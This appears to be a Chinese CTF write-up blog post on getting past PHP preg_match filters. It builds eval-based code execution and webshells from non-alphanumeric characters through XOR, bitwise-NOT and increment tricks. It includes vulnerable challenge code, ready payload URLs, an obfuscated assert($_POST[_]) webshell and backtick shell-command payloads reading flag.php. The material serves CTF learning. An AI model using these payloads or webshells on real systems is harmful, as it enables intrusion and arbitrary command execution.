ctf中 preg_match 绕过技术 | 无字母数字的webshell

ctf中 preg_match 绕过技术 | 无字母数字的webshell

例题

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

解法1

异或绕过

使用异或绕过:可以使用各种特殊字符的异或构造出字母和数字

str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"

for i in range(0, len(str)):
    for j in range(0, len(str)):
        a = ord(str[i])^ord(str[j])
        print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))

成功触发命令命令执行:

payload:

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo

解法2

取反绕过

把getFlag取反然后URL编码:

<?php
echo urlencode(~"getFlag");

输出如下:

依据这个我们可以构造payload:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

解法3

其实个人认为解法3与解法2相似:

payload如下:

?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET['+']();,传入 +=getFlag() 从而执行了函数

解法4

还是异或的操作,只是进行了urlencode和加上了中文变量名。

payload如下:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

解法5

其实利用的还是异或吧,只是把变量名也是异或取得的。

payload如下:

?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();

本来结束了,师傅们tql,我继续记录一下:有时候有点懒得自己笔述,就直接用了师傅们的笔述了,简单说明一下。

php中取反(~)的概念

来看一个汉字"和"

>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141

"和"的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
因此

<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
两个写法性质一样
结果会输出: ss

脚本:

>>> def get(shell):
...     hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
...     print(hexbit)
...
>>> get('phpinfo')
0x8f0x970x8f0x960x910x990x90

不用数字构造出数字

利用了PHP弱类型特性,true的值为1,故true+true==2。

$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果会输出:2 1

在php中未定义的变量默认值为null,nullfalse0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

<?php
$_++;
print($_);
?>

结果会输出:1

非字母、数字的字符异或出字母

不可打印字符,用url编码表示。

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

注明:由于其中包含%01等经过urlencode的字符,所以需要通过浏览器提交才可以生效。

非字母、数字的字符取反出字母

利用的是UTF-8编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的utf8是三个字节,{2}表示第3个字节

<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo "<br>";
print(~($____{$__}));

payload:

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

这里也有一种简短的写法\({~"\xa0\xb8\xba\xab"}它等于\)_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。

php递增/递减运算符

这种方法很明显的缺点就是需要大量的字符。

'a'++ => 'b','b'++ => 'c',我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。再取这个字符串的第一个字母,就可以获得'A'。

因为PHP函数是大小写不敏感的,最终执行的是ASSERT($POST[]),无需获取小写a。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

不用数字和字母写shell的实例

就是开头写的了。请从头看,第一个案例就是这个。

不用数字,字母和下划线写shell的实例

<?php

include 'flag.php';

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>  

下划线都不给,这就很恐怖了。意味着不能定义变量,而且也构造不出来数字。不过在PHP的灵活性面前,问题不大。
这是一开始学长给的payload,+号必须加引号

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

51个字符太长了,所以这里可以用简短的写法

('$').("`{{{"^"?<>/").(['+'])&+=getFlag();

不过这样不能成功。
学长给出了解释:eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码
例如:

eval($_GET['b']) url里面 b=phpinfo(); 这时候相当于eval('phpinfo();')
eval($_GET['b']) url里面b=$_GET[c]&c=phpinfo(); 相当于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag(); ,也就是eval('$_GET['+'])并不会执行getFlag();

正确的payload为:

${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

<?php
    $a = 'hello';
    $$a = 'world';
    echo "$a ${$a}";
?>

输出:hello world

${$a},括号中的$a是可以执行的,变成了hello。
payload中的{}也是这个原理,{}中用的是异或,^在{}中被执行了,也就是上面讲的"`{{{"^"?<>/"执行了异或操作,相当于_GET

最后eva函数拼接出了字符串$_GET['+']();,然后传入+=getFlag,最后执行了函数getFlag();

PHP是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着PHP版本的变化,php的一些特性也会变化,例如php5中assert是一个函数,但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。因此我们要多熟悉php不同版本的差异。

不用数字字母下划线和$ getFlag

<?php 
include 'flag.php';
if(isset($_GET['code']))
{
    $code=$_GET['code'];
    if(strlen($code)>35){
    die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code))
    {
        die("NO.");
    }
    @eval($code);
}
else
{
    highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>

看到题的瞬间窃喜,以为是原题,拿着payload各种试。以为题坏了,最后才看到多过滤了一个$,2333。瞬间感觉上面的东西都白学了。

payload:code=?><?=`/???/??? ????.???`?>
?>闭合php文件开头的<?php<?=可以输出

是短标签,是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:同时,只有开启这个才可以使用 <?= 以代替 <? echo 。

这个配置默认是开启的

还利用linux的通配符:/???/???通配/bin/cat ????.???通配flag.php
还有php中`符号可以执行系统命令

fl4g师傅的思考

https://fl4g.cn/

windows中将if(preg_match(“/[A-Za-z0-9_\(]+/“,\)code))过滤修改,去除对大写字母或小写的过滤,由于windows对大小写不敏感,可以在windows系统中尝试执行任意代码

http://127.0.0.1/test27.php?code=?><?=`whoami`?>

注明:哈哈,上面很多懒得写,就直接赋值smile师傅的了。

推荐一篇文章:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

https://www.smi1e.top/php不使用数字字母和下划线写shell/

posted @ 2019-10-25 10:38  v01cano  阅读(8873)  评论(0编辑  收藏  举报